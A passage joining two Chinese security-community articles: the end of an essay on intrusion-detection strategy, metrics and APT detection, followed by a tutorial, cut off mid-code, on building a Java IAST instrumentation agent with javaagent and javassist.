3. 由于任何单模型都会存在漏报，所以我们必须在多个纬度上做多个模型，形成纵深 —— 假设WebShell静态文本分析被黑客变形绕过了，在RASP（运行时环境）的恶意调用还可以监控到，这样可以选择接受单个模型的漏报，但在整体上仍然不漏；
4. 任何模型都有误报漏报，我们做什么，不做什么，需要考虑的是“性价比” —— 比如某些变形的WebShell可以写成跟业务代码非常相似，人的肉眼几乎无法识别，再追求一定要在文本分析上进行对抗，就是性价比很差的决策，通过RASP的检测方案，其性价比更高一些；
5. 我们不可能知道黑客所有的攻击手法，也不可能针对每一种手法都建设策略（不具备性价比），但是，针对重点业务，我们可以通过加固的方式，让黑客能攻击的路径极度收敛，仅在关键环节进行对抗（包括加固的有效性检测）可能会让100%的目标变得现实
基于上述几个原则，我们可以知道一个事实，或许，我们永远不可能在单点上做到100分，但是，我们可以通过一些组合方式，让攻击者很难绕过所有的点。
当老板或者蓝军挑战，为何漏过某个单点的行为时，其实可以换个思维，看其是否能完全不触碰全局防御体系的实现攻击目标。如果为了“政治正确”，在某个单点上进行无止境的投入，最终可能只是在试图制造一个永动机，纯粹浪费人力、资源，而不产生实际的收益。
入侵检测产品的主流形态
入侵检测终究是要基于数据去建模，比如针对WebShell的检测，首先要识别web目录，再对里面的文件进行文本分析，这需要做一个采集器。
基于SHELL命令的入侵检测模型，需要获取所有SHELL命令，这可能要Hook系统调用或者劫持SHELL。
基于网络IP信誉、流量payload进行检测，或者基于邮件网关对内容的检查，可能要植入网络边界里，对流量进行旁路采集。
也有一些集大成者，基于多个sensor，将应用日志进行采集后，汇总在一个SOC或者SIEM，再交由大数据平台进行分析运算模型，因此，业界的产品大致上就分成了以下的形态：
1. 主机Agent类：黑客攻击了主机后，在主机上进行的动作，可能会产生日志、进程、命令、网络等记录，那么在主机上部署一个采集器（也内含一部分检测规则），就叫做基于主机的入侵检测系统，简称HIDS；
典型的产品：OSSEC、云盾、360、安全狗，当然，一些APT厂商，往往也有在主机上的sensor/agent，比如FireEye等
1. 网络检测类：由于多数攻击向量是会通过网络对目标进行一些payload的投放，或者控制目标，因此，这些payload和控制协议，就会有一定的特征，在网络层面可以识别出来；
典型的产品：Snort，到商业的各种NIDS/NIPS，如今的威胁情报检测系统TIP，也属于这一类；
1. 日志集中存储类：这一类产品允许主机、网络设备、应用都输出各自的日志，集中到一个统一的后台，在这个后台，对各类日志进行综合的分析，判断是否可以关联的把一个入侵行为的多个路径刻画出来，例如A主机的的Web访问日志里显示遭到了扫描和攻击尝试，继而主机层面多了一个陌生的进程和网络连接，最后A主机对内网其它主机进行了横向渗透尝试……；
典型的产品：Splunk，各种SIEM解决方案
1. 网关沙箱执行类：本质上这类产品是类型2（网络检测类）的一种子集，只不过它不重点监控恶意特征（绕过的姿势太多，而且有加密的手法使得payload完全无法被检测），因此，此类产品往往部署在网关出入口，或者邮件等服务器前面，通过协议分析，识别流量里的文件，通过虚拟机/沙箱的模拟执行（很多鱼叉攻击的附件），如果发现类似于doc文件被word打开后，派生CMD之类的异常行为（触发网络下载行为、调用了危险的系统函数等都算），就可以把它拦截或者告警出来；
典型产品：FirEye、PaloAuto
1. 主机安全防御产品：本质上它也是类型1的一种子集，但是大家可能更耳熟能详 —— 主流的杀毒软件（此时可以成为终端安全管理方案），会严密的监控主机上的一举一动，比如下载了一个文件、启动了一个程序，都可以触发一次安全检查。它和类型1的主要区别，是工作在系统更底层，并且多数逻辑是在本地而非后台；严格一些的产品，比如Bit9，甚至会通过白名单的方式，允许特定的进程运行，而阻止一切未知的新的文件，哪怕是黑客控制了服务器，试图植入木马长期潜伏，也可能因为此安全机制而失效。
典型产品：Bit9、SEP、赛门铁克、卡巴斯基…
入侵检测效果评价指标
首先，主动发现的入侵案例/所有入侵 = 有效发现率。这个指标一定是最直观的。
比较麻烦的是分母，很多真实发生的入侵，如果外部不反馈，我们又没检测到，它就不会出现在分母里，所以有效发现率总是虚高的，谁能保证当前所有的入侵都发现了呢？
而且，真实的入侵其实是一个低频行为 ——
毕竟，我们的目标是不发生入侵，应该提前加固好，不给黑客可趁之机才对。很久没出现真实入侵案例，这个指标长期不变化，是无法刻画入侵检测能力的提升的。
所以一般还会引入2个指标来观测：
1. 蓝军对抗主动发现率
2. 已知场景建成覆盖率
蓝军主动对抗和演习，弥补真实入侵事件低频的缺陷，但是由于蓝军掌握的攻击手法往往也是有限的，他们多次演习后，手法和场景可能会被罗列完毕，这里的建设和补漏不会那么及时。
所以，把已知攻击手法的建成覆盖率拿出来，也是一个侧面评价指标。
入侵检测团队把精力聚焦在已知攻击手法的优先级评估和快速覆盖上，对建设到什么程度是满足需要的，要有自己的专业判断。（参考入侵检测原则里的“性价比”原则）
比如，我们目前制定的新策略上线前的验收标准是：
1. 单场景日均工单<X单，峰值<Y单；所有场景日平均<Z，峰值<XX，超出该指标的策略不予接收，不视为具备对应能力；
2. 同IP、相同业务模块（类似属性）多次触碰相同规则，具备自动抑制能力，首次出现告警，多次出现自动合并；
3. 具备误报自学习能力
4. 具备可读性（有清晰的风险阐述、关键信息、处理指引、辅助信息或者索引，便于定性）
5. 策略上线前需要自测(输出自测报告)、有清晰的说明文档(运营人员按照这个文档验收)
6. 策略验收完成需输出验收报告
7. 不得私自调用微信、短信等接口发告警，必须走统一的告警框架(应急策略临时可开通，2-3天缓冲期，但必须用正式策略替换应急策略，或者下掉应急策略)
在满足验收标准的前提下，策略人员形成文档，说明对当前场景哪些手法具备覆盖能力，哪些前提下会无法告警（考验一个人对该场景和自己模型的理解能力）。可以对策略的成熟度形成自评得分，0-100分满分，自评满足基础的覆盖能力后，可能还存在一些遗憾，它们的提高边际成本变高，很可能不会追求到极致，而是投入到下一个场景的覆盖里去。如果某个场景出现了真实对抗，又没有交叉的其它策略进行弥补，那自评满足要求的结论是要被推翻的。
影响入侵检测的关键要素
讨论影响入侵检测的要素时，我们可以简单看看曾经发生过哪些错误导致我们不能主动发现入侵（这里的每一条，背后可能都是一个令人遗憾的真实漏报case）：
1. 依赖于主机agent采集数据的模型，在当事机器上，没部署安装/agent挂了/数据上报过程丢失了/Bug了
2. 后台数据分析模块故障（丢弃数据）
3. 策略脚本Bug、没启动
4. 还没建设对应的策略
5. 策略的灵敏度不够（比如扫描的阈值没达到，WebShell用了变形的对抗手法）
6. 模型依赖的部分基础数据错误，做出了错误的判断
7. 成功告警了，但是工单应急同学错误的判断/没有跟进/辅助信息不足以定性
所以，实际上，要让一个入侵事件被捕获，我们需要有专门的运营人员对以下目标负责：
1. 数据采集的完整性
2. 每一个策略时刻工作正常（拨测监控）
3. 针对高危场景策略要覆盖，灵敏度要满足一般对抗需要
4. 依赖的基础数据要准确
5. 工单运营支撑平台及追溯辅助工具完备
可能有些同学会想，影响入侵检测的关键要素难道不是模型的有效性么？怎么全是这些乱七八糟的东西？
实际上，稍微上规模的企业，上述的每一点要长期维持在高可用标准，都非常不容易。比如懂攻防的策略同学，对基础数据质量不关心不负责，最终的效果就是明明能发现的入侵，总是有各种原因恰好发现不了。之前，笔者亲历过有大量的案例，明明对手很菜，手法很简单，但就是因为这些因素给漏过了。
所以，我常感慨，以某些运营质量之差，根本轮不到跟黑客拼策略（技术）。
当然，一旦有兄弟帮忙去跟进这些质量运营工作之后，我们的确就真的需要拼策略了。
这个时候，攻击手法有那么多，凭什么先选择这个场景建设？凭什么认为建设到这个程度就足够满足对已知手法的感知了？凭什么选择发现这些样本而放弃那些样本？
这些极具主观性的东西，往往考验的是判断力、执行力等专业度，不能等到黑客入侵了才解释说，这个场景我们原定明年建设的……
### 如何发现APT
所谓APT，就是高级的持续威胁。既然是高级的，按照一般的描述，他们的木马是免杀的（不能假定我们可以发现这个木马）、他们的漏洞不公开的（不能假定我们可以加固抵抗）、他们的手法是高级的（不能假定这个手法在已知的范畴里）。
所以，实际上APT的意思就几乎等同于我们不能发现的入侵事件了。
但是，业界总还有APT检测产品、解决方案的厂商在混饭吃，他们是怎么做的呢？
说木马免杀的，他们用沙箱+人工分析，哪怕效率低一些，还是试图做出定性，并快速的把IOC（威胁情报）同步给其它客户，发现1例，全网都去排查。
说流量变形对抗的，他们用异常检测的模型，把一些不认识的可疑的IP关系、payload给识别出来 —— 当然，识别出来之后，也要运营人员跟进得仔细才能定性。
说攻击手法高级的，他们还是会假定黑客就用鱼叉、水坑之类的已知手法去执行，然后在邮箱附件、PC终端等环节采集日志，对用户行为进行分析，UEBA试图寻找出用户异于平常的动作。
那么，我们呢？
我没有什么好的办法，可以发现传说中的免杀的木马，但是我们可以针对已知的黑客攻击框架（比如metasploit、cobalt
strike）生成的木马类型、行为进行一些特征的提取，比如DNS隧道的通讯，比如IP信誉的模型，比如默认生成的不免杀木马的共性特征等。
我们可以假设已经有黑客控制了某一台机器，但是它试图进行横向扩散的时候，我们有一些模型可以识别它的探测、翻找、入侵尝试等行为。
我们暂时还不知道如何100%发现APT，但是如果真的有APT在公司里，有本事这个团队别犯错，永远都不触碰我们所有的铃铛。否则，只要他犯错，就轮到我们出场了。
前面所有的高标准，包括高覆盖、低误报，必须跟进到底，都是在等待这一刻。因此，我们坚持住，即使听过无数次“狼来了”，下一次仍然必须用最高的敬畏心去对待新的告警。
AI在入侵检测领域的正确姿势
最近这2年，不谈AI故事就不会完整。
只不过，随着AI概念的火爆，很多人已经把数据挖掘、统计分析的一些说法，比如分类、预测、聚类、关联之类的算法，改名字叫AI了。
入侵检测本质上是对数据做标记（labeling）解决方式上，可以分为分类（classify），或者聚类（cluster），区别是已有的数据是否有标签。入侵检测领域，多数没有动辄上百万的样本的可供模型去训练，也就是无法使用数据来刻画特征。
此时，安全领域一个比较常见的现象是，将场景转变成标记问题，要难过于通过数学模型把标记的解给求出来。也就是要业务专家先行，算法专家再跟上，而不能直接让算法专家闭门造车。
所以，针对一个具体的攻击场景，怎么样采集对应的入侵数据，思考这个入侵动作和正常人的区别，这个特征的提取过程，往往决定了模型最终的效果。特征决定了效果的上限，而算法模型决定了多接近这个上限。
如果有一个纯粹的AI团队，上来不关注攻击具体场景就用这些算法对已知样本进行训练和建模，是不可能有好的结果的。入侵检测的同学，和AI的同学，必须形成一种相互合作而不是单方面觉得高人一等的关系，才可能做出有实用价值的结果。
此前，笔者曾见过一个案例，AI团队产出了一个实验室环境效果极佳，但是在实际环境里却不如人意的Webshell模型。这个项目的诞生，是源自该团队试图做一个AI模型来跟传统的Webshell模型做效果对比
——
都是在文本静态分析方面去做检测，即便AI在实验室环境的效果再好，也仍旧有漏报，而且，原团队所放弃的抵抗，也由RASP弥补过了，于是该项目事实上并未产生应有的价值。
这个例子并非说该团队不优秀，而是压根就不该让AI的同学去独自承担整个压力，甚至不推荐“使用AI做一个模型吧，看看是否比传统的好”这种想法，
我个人认为，业务同学在思考场景短板后，跟算法同学共同商议，将AI用于业务的某一个环节，而非负责整个场景，或许，是更合适的思路。
入侵发现的运营陷阱
入侵检测是一个苦逼的工作，任何时候手机一响，都要最紧张的去跟进 —— 又一次“狼来了”？还是一个APT高手团队唯一的破绽暴露了？
在内部的一个Talk上，我把这个团队称为“守夜人” ——
从今日起，日日夜夜，至死方休。没有崇高的使命感，纯粹是为了做一份工作，很难有安全技术人才可以熬得下去。别的工作都可以下班，但我们never get off
。
所以，借用Google的Detection团队的招聘广告里的说明，我想，应该也是我们的心声：
Our goal is to build a world-class fully automated detection and response
machine - an automated SOC.
世界级的，全自动的SOC。
能让机器和程序自动识别的，把误报降低到最低的入侵检测效果，可能才是我们想要的生活。
有时候，为了快速覆盖一个入侵场景，简陋的发布了各种临时策略、临时代码架构、临时DB，随着数据量规模的增长开始变得奄奄一息。老算法的粗暴、简陋，也逐渐显得不合时宜。
新场景的预研、开发、建设周期需要很长，支撑平台不够完善，在定性或者追溯或者预研一些模型时，无法高效实现，甚至导致策略建设使用各种变通手法来实现一个简单的想法……
这些，都是入侵检测运营的一部分，也是阻碍我们达到终极目标的困难。
把“入侵检测能力”当作一个产品，像创业公司一样，快速发布，具备能力，先发现一些“粗糙”、“明显”的事件，可能是第一步。而随着业务发展，自己的产品和平台也一样要在高速公路上奔跑的汽车那样换轮胎，一轮又一轮重构，分工逐渐明细，在质量上精益求精，不断打磨。
这些事情需要公司的大力支持，因此，仅仅是通过忙碌的工作感动自己，而无法有效的输出工作本身的价值，获取公司的认同，其实是入侵检测运营工作的最大陷阱。 | 社区文章 |
# 简析IAST—Agent篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一 IAST简单介绍
IAST(Interactive Application Security
Testing)交互式应用程序安全测试，通过服务端部署Agent探针，流量代理/VPN或主机系统软件等方式，监控Web应用程序运行时函数执行并与扫描器实时交互，高效、精准的安全漏洞，是一种运行时灰盒安全测试技术。在分析并评估了业界主流的几家IAST产品后，发现IAST一般可以提供agent插桩检测、流量代理、流量信使等几种漏洞检测模式，其中除agent插桩模式外，其余几种检测模式与DAST被动漏洞扫描的原理一致，所以本篇文章我们主要分析agent插桩模式。
agent插桩的检测模式，一般分为主动和被动模式。那怎么理解agent插桩模式呢？我们结合JavaAgent技术来做解释。-javaagent是java命令的一个参数，该参数可以指定一个jar包，该jar包内实现了一个premain()方法，在执行正常程序的main()方法会先运行这个premain方法，是一个JVM层做功能增强的机制。说到java的功能增强，可以想到动态代理、Spring
AOP、拦截器等技术，这些方式主要是在函数执行前后做一些增强逻辑，而JavaAgent可以直接获取到类加载前的字节码，再结合一些字节码修改技术，从而通过修改字节码来增强函数功能。通过这种方式，我们可以获取类、方法的一些信息，比如类名、方法名、参数、返回值等，同时也可以做一些拦截操作。所以，这项技术通常被用于实现调用链监控、日志采集等组件，而在安全方向的应用，IAST和RASP则是典型例子。
对于IAST来说，agent的检测模式通常被分为被动模式和主动检测模式。在被动模式下，agent可以动态获取一次请求的调用链、数据流等信息，基于获取的信息，IAST可以做一些基于污点追踪的白盒分析，从而检测该次请求的调用链中是否存在漏洞；在主动模式下，agent会hook一些危险函数，当一次请求触发到这些危险函数后，agent会将该次请求发送给IAST
server端，并使用DAST能力发送攻击payload做主动验证。基于这些特性，IAST非常适合融入到DevOps的测试环节，在业务测试完成正常功能逻辑测试工作的同时，无感知的进行一些安全漏洞的检测。
* IAST被动检测模式
* IAST主动检测模式
这里我们主要研究一下IAST被动检测模式的细节，该检测模式也是IAST首推的检测模式。在上文提到，在被动检测模式下，agent主要用来做Web应用程序的数据采集并传至分析引擎，分析引擎做白盒分析。接下来，我们就实际的去实现一个agent，对一次请求做调用链数据采集。
还是以Java为例，实现一个agent需要掌握以下几种技术：
1. JavaAgent技术。
2. 字节码修改技术。主流的字节码修改工具有javassist、Byte Buddy和ASM等，其中javassit的使用比较简单，ASM则较为复杂且需要对.class文件结构、变量表等底层知识有一定的理解，但是其性能更优。我们这里只是写一个简单讲解一下agent的工作逻辑，所以我们选择使用javassist。
3. JVM类加载机制。
4. ThreadLocal
接下来，我们来简单写几个例子介绍一下这几项技术。
## 二 JavaAgent
前文已经基本介绍了JavaAgent这项技术，而实际实现一个JavaAgent需要以下几个步骤：
1. 定义一个MANIFEST.MF文件，必须包含Premain-Class选项，通常也会加入Can-Redfine-Classes和Can-Restransform-Classes选项。
2. 创建一个Premain-Class指定的类，类中包含premain方法，方法逻辑由用户自己去编写。
3. 将premain的类和MANIFEST.MF文件打成jar包。
4. 使用-javaagent参数，启动要代理的方法。
在执行以上步骤后，JVM会先执行premain()方法，大部分类加载前都通过该方法。
通过上面的步骤，我们来接下来实现一个简单的JavaAgent
### 2.1 包含premain方法的agent类
先给出一个例子
public class AgentDemo {
public static void premain(String args, Instrumentation inst){
inst.addTransformer(new DefinTransformer(), true);
}
static class DefinTransformer implements ClassFileTransformer{
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("premain load class:" + className);
return new byte[0];
}
}
}
解释一下以上代码，在类加载时，JVM会先执行premain()方法，方法中的`inst.addTransformer(new
DefinTransformer(), true)`是添加一个ClassFileTransformer接口的实现类，
该类实现一个transform()方法，该方法中我们可以写一些自己的逻辑。可以看到transform的入参有被加载类的类加载器、类名、字节码等信息，返回类型则是byte[]，这样我们可以返回修改后的字节码，之后JVM加载的就是我们修改过后的字节码了，这里我们简单打印一下加载中的类名。
现在我们还缺少一个MANIFEST.MF文件，使用maven插件可以在打包时自动生成。
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<!--自动添加META-INF/MANIFEST.MF -->
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Premain-Class>org.example.agent.AgentDemo</Premain-Class>
<Agent-Class>org.example.agent.AgentDemo</Agent-Class>
<Built-By>dgcat</Built-By>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
Premain-Class和Agent-Class写agent类型的全类名即可，如果需要添加其他配置，可在`<manifestEntries>`中添加对应标签和值，这里不再多做介绍。
### 2.2 运行agent
写一个用于测试的类并编译成.class。
package org.example.test;
public class MainTest {
public static void main(String[] args) throws InterruptedException {
System.out.println("start");
Thread.sleep(3000);
System.out.println("end");
}
}
使用-javaagent参数执行agent包并运行：
java -javaagent:./agentdemo-1.0.jar org.example.test.MainTest
输出结果如下：
可以看到不止我们自己编写的测试类，有很多jdk中的类也被打印出来了，可见JavaAgent功能还是比较强大的。
## 三 Javassist
Javassist可以实现动态创建类、添加类的属性和方法，修改类的方法等操作。这里我们不需要做添加方法、属性等操作，只需要获取类名、方法名、入参、出餐等信息，所以这里仅仅叙述如何获取这些信息，至于其他多的功能，可参考：<https://bugstack.cn/md/bytecode/javassist/2020-04-19-%E5%AD%97%E8%8A%82%E7%A0%81%E7%BC%96%E7%A8%8B%EF%BC%8CJavassist%E7%AF%87%E4%B8%80%E3%80%8A%E5%9F%BA%E4%BA%8Ejavassist%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E6%A1%88%E4%BE%8Bhelloworld%E3%80%8B.html>
### 3.1 信息获取
**获取类**
ClassPool pool = ClassPool.getDefault();
// 获取类
CtClass ctClass = pool.get("org.dgcat.demo.javassist.HelloDemo");
String clazzName = ctClass.getName();
通过类名获取类的信息，也包括类里面一些其他获取属性的操作，比如：ctClass.getSimpleName()、ctClass.getAnnotations()
等。
**获取方法**
CtMethod ctMethod = ctClass.getDeclaredMethod("test");
String methodName = ctMethod.getName();
通过 getDeclaredMethod 获取方法的 CtMethod 的内容。之后就可以获取方法的名称等信息。
**方法信息**
MethodInfo methodInfo = ctMethod.getMethodInfo();
MethodInfo 中包括了方法的信息；名称、类型等内容。
**方法类型**
boolean isStatic = (methodInfo.getAccessFlags() & AccessFlag.STATIC) != 0;
通过 methodInfo.getAccessFlags()
获取方法的标识，判断方法是否为静态方法。因为静态方法会影响后续的参数名称获取，静态方法第一个参数是 this ，需要排除。
**入参信息**
// 入参信息
CodeAttribute codeAttribute = methodInfo.getCodeAttribute();
LocalVariableAttribute attr = (LocalVariableAttribute) codeAttribute.getAttribute(LocalVariableAttribute.tag);
// 获取入参名
String name = attribute.variableNameByIndex(i);
//入参类型
CtClass[] parameterTypes = ctMethod.getParameterTypes();
**返回信息**
CtClass returnType = ctMethod.getReturnType();
**修改方法**
ctClass.insertBefore("{System.out.println(1);}");
ctClass.insertAfter("{System.out.println(1);}");
## 四 agent实现
### 4.1 写在最前
在实现一个agent前还有几个问题需要注意：
**agent隔离加载**
因为我们现在需要实现具有一定复杂逻辑的agent，所以我们不可避免的需要引入一些其他jar包做功能实现，而如果我们的agent与正常应用引入了同一个jar包的不同版本，这将发生jar包冲突，对正常应用产生未知影响。
要解决这个问题，我们需要自定义类加载器来加载agent中的类，因为在java中通过不同的类加载器加载同一个类是不一样的，一个类只能引用同一类加载器加载的类及其父加载器加载的类，更多的细节大家也可以去详细了解一下Java的类加载机制，java的很多框架如spring都有实现自己的类加载器实现隔离加载来解决冲突的问题。
所以我们现在需要将这个agent分为两个jar包，一个是agent包，另一个core包。agent包实现一个premain()方法、Tranformer类等，并且使用自定义类加载器加载core包，而core包是我们编写的修改字节码的逻辑。但这样还会有一个问题，我们修改后的正常代码，需要调用core包中的方法，而core包是自定义类加载器加载的，正好代码的类一般是应用类加载器加载的，所以正常代码这时候无法调用core中的方法。所以，还需要将正常代码调用的方法单独拆分出一个jar包，该包使用BootstrapClassLoader加载，该类加载器是类加载器的顶层，其加载的类可以被所有的类加载器加载的类引用，我们将这个jar命名为spy。
**标识一次请求的调用链**
在解决了一些类加载上的问题后，我们还有一个问题需要解决。因为我们需要对不同请求采集不同的调用链，那么如何当一次请求触发到一个方法后，我们如何标识这次方法调用是属于那次请求呢？这也是我们方法调用能否形成链路的关键。
这里我们借用ThreadLocal。ThreadLocal叫做线程变量，即ThreadLocal中填入的变量只属于当前线程，我们知道不同的请求实际对应不同的线程，那用独属于当前线程的变量标识一次请求是最合适不过了。
ThreadLocal的使用也比较简单，如下：
public class ThreadLocaDemo {
private static ThreadLocal<String> localVar = new ThreadLocal<String>();
public static void main(String[] args) {
// 设置变量
localVar.set("local_A");
// 获取变量
localVar.get();
}
}
### 4.2 Agent包实现
首先，我们的项目分为三部分，agent、core和spy。
接下来，我们来实现一下agent包里的逻辑，agent主要实现两个类，一个是自定义的ClassLoader，一个是agent入口类。ClassLoader主要重写loadclass方法主要是注意一些jdk本身的类还是需要正常加载，第二就是spy包的类需要使用BootstrapClassLoader加载，其他的就不再多说。agent类实现permain()方法，主要是分别用不同的类加载器加载core和spy两个jar包，以及为instrumentation添加Transformer类。具体如下：
public static void premain(String agentOps, Instrumentation instrumentation) {
try {
// 启动类加载器加载spy
File agentSpyFile = new File(SPY_JAR);
if (!agentSpyFile.exists()) {
System.out.println("Spy jar file does not exist: " + agentSpyFile);
return;
}
instrumentation.appendToBootstrapClassLoaderSearch(new JarFile(agentSpyFile));
// 使用自定义的类加载器加载core包
File agentCoreFile = new File(CORE_JAR);
if (!agentCoreFile.exists()) {
System.out.println("Agent jar file does not exist: " + agentCoreFile);
return;
}
ClassLoader myClassLoader = getClassLoader(instrumentation, agentCoreFile);
Class<?> myClassFileTransformer = myClassLoader.loadClass(TRANSFORMER);
// 因为Transformer实现在core包中，所以需要使用反射调用该类。
Constructor<?> transform = myClassFileTransformer.getDeclaredConstructor(String.class);
// 为intrumentation添加Transformer类
// 注意这边spy的jar包路径也需要随之传递，这个之后会有用处
instrumentation.addTransformer((ClassFileTransformer) transform.newInstance(SPY_JAR));
}
catch (Throwable throwable){
throwable.printStackTrace();
}
}
MyClassLoader代码如下：
public class MyClassLoader extends URLClassLoader {
public MyClassLoader(URL[] urls) {
super(urls);
}
@Override
public synchronized Class<?> loadClass(String className, boolean resolve) throws ClassNotFoundException {
final Class<?> LoadedClass = findLoadedClass(className);
if (LoadedClass != null) {
return LoadedClass;
}
// 一些系统的类和spy包中的类让其父类去加载
// 根据双亲委派机制，spy包中类最终回由BootstrapClassLoader加载
if (className != null && (className.startsWith("sun.") || className.startsWith("java."))) {
return super.loadClass(className, resolve);
}
if (className!= null && className.contains("org.dgcat.spy")) {
return super.loadClass(className, resolve);
}
try {
Class<?> loadedClass = findClass(className);
if (loadedClass != null) {
if (resolve) {
resolveClass(loadedClass);
}
return loadedClass;
}
} catch (ClassNotFoundException ignored) {
}
return super.loadClass(className, resolve);
}
}
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>agent-monitor</artifactId>
<groupId>org.dgcat</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>agent</artifactId>
<name>agent</name>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<executions>
<execution>
<goals>
<goal>single</goal>
</goals>
<phase>package</phase>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<!-- 注册premain的class -->
<Premain-Class>org.dgcat.agent.MonitorAgent</Premain-Class>
<!-- 注册agentmain的class -->
<Agent-Class>org.dgcat.agent.MonitorAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Built-By>dgcat</Built-By>
<Specification-Title>${project.name}</Specification-Title>
<Specification-Version>${project.version}</Specification-Version>
<Implementation-Title>${project.name}</Implementation-Title>
<Implementation-Version>${project.version}</Implementation-Version>
</manifestEntries>
</archive>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>7</source>
<target>7</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
### 4.3 spy包实现
spy包主要有两个类，一个是AbstractAspect抽象类，core包里会有一个Aspect继承它，一个是SpyAPI类，它主要是装载Aspect类，为正常程序提供接口从而调用我们Aspect类实现的方法。
SpyAPI类如下：
public class SpyAPI {
private static volatile AbstractAspect spyInstance;
public static void setSpy(AbstractAspect spy) {
spyInstance = spy;
}
public static void atEnter(String className, String methodInfo, String parametersName, Object[] arg, String codeLine){
spyInstance.atEnter(className, methodInfo, parametersName, arg, codeLine);
}
public static void atExit(String clazzName, String methodInfo, Object returnValue){
spyInstance.atExit(clazzName, methodInfo, returnValue);
}
public static void atExceptionExit(String clazzName, String methodInfo, Throwable throwable){
spyInstance.atExceptionExit(clazzName, methodInfo, throwable);
}
}
其中，`setSpy()`实现装载core包中的Aspect类，`atEnter()`、`atExit()`、`atExceptionExit()`分别在程序进入、退出、异常的时候做不同的方法逻辑修改。
### 4.4 core包实现
因为core包中的类比较多，我们就挑几个比较重要类和方法讲解。首先是我们自己实现的Transformer中的`transform()`方法，这里我们可以对需要修改字节码的类做下过滤，如果修改的类比较多的话，项目启动会及其缓慢，且容易发生栈溢出问题，这是一项需要长期优化的工作，所以我们这里选择只对应用程序本身的类进行修改，简单看下效果即可。`transform()`方法代码如下：
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.contains("secexample")){
return BaseAdaptor.get("normal").modifyCode(className, classfileBuffer, spyJarPath, loader);
}
else {
return classfileBuffer;
}
}
其中BaseAdaptor也是一个抽象类，我们实际还有一个NormalAdaptor的实现类，这里的逻辑如果有一些设计模式基础的话会更容易理解一些。Adaptor类中主要实现一个`modifyCode()`方法，我们具体来看一下。
public byte[] modifyCode(String className, byte[] classfileBuffer, String spyJarPath, ClassLoader loader) {
try {
ClassPool classPool = ClassPool.getDefault();
// 没有的话爆nopoint
classPool.appendClassPath(spyJarPath);
// spring等框架有自己的实现的类加载器
// 根据双亲委派原则，这ClassPool时候是搜索不到框架类加载器加载的类的，这时候需要把当前ClassLoader加载的类添加到ClassPool中
classPool.appendClassPath(new LoaderClassPath(loader));
String clazzname = className.replace("/", ".");
// CtClass ctClass = classPool.get(clazzname);
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 排除掉注解，接口，枚举
if (!ctClass.isAnnotation() && !ctClass.isInterface() && !ctClass.isEnum()) {
// 针对所有函数操作
for (CtBehavior ctBehavior : ctClass.getDeclaredMethods()) {
addMethodAspect(clazzname, ctBehavior, false);
}
return ctClass.toBytecode();
}
else {
return classfileBuffer;
}
}
catch (Exception e){
e.printStackTrace();
return classfileBuffer;
}
}
这里大部分是javassist的代码，需要注意的有两个地方：第一个是`classPool.appendClassPath(spyJarPath);`如果没有这行代码的话，会有nopoint错误；第二个是`classPool.appendClassPath(new
LoaderClassPath(loader));`，通常我们插入agent的程序是一个Web，一般都有类似于`spring`之类的框架，上文我们也提到这些框架也会有自己的类加载器实现类隔离加载，根据双亲委派原则，ClassPool无法获取这些类，所以需要把当前ClassLoader加载的类添加到ClassPool中。接下来到`addMethodAspect()`方法
private static void addMethodAspect(String clazzname, CtBehavior ctBehavior, boolean isConstructor)
throws Exception {
// 去掉native方法和abtract方法
if (Modifier.isNative(ctBehavior.getModifiers()) || Modifier.isAbstract(ctBehavior.getModifiers())|| "main".equals(ctBehavior.getName())) {
return;
}
// 方法前增强
// 如果是基本数据类型的话，传参为Object是不对的，需要转成封装类型
// 转成封装类型的话非常方便，使用$w就可以，不影响其他的Object类型
// 方法名称和出入参类型
String methodName = isConstructor ? ctBehavior.getName() + "#" : ctBehavior.getName();
String methodInfo = methodName + "|" + ctBehavior.getMethodInfo().getDescriptor();
// 获取参数名称
CodeAttribute codeAttribute = ctBehavior.getMethodInfo().getCodeAttribute();
LocalVariableAttribute attribute = (LocalVariableAttribute) codeAttribute.getAttribute(LocalVariableAttribute.tag);
CtClass[] parameterTypes = ctBehavior.getParameterTypes();
StringBuilder parametersName = new StringBuilder();
// System.out.println(clazzname);
// System.out.println(methodInfo);
// 静态方法的第一个参数是this
int pos = Modifier.isStatic(ctBehavior.getModifiers()) ? 0 : 1;
try {
for(int i = pos; i < parameterTypes.length + pos; i++){
if (i < parameterTypes.length + pos - 1){
parametersName.append(attribute.variableNameByIndex(i)).append(",");
}
else {
parametersName.append(attribute.variableNameByIndex(i));
}
//System.out.println(parametersName);
}
}catch (Exception e){
return;
}
ctBehavior.insertBefore(
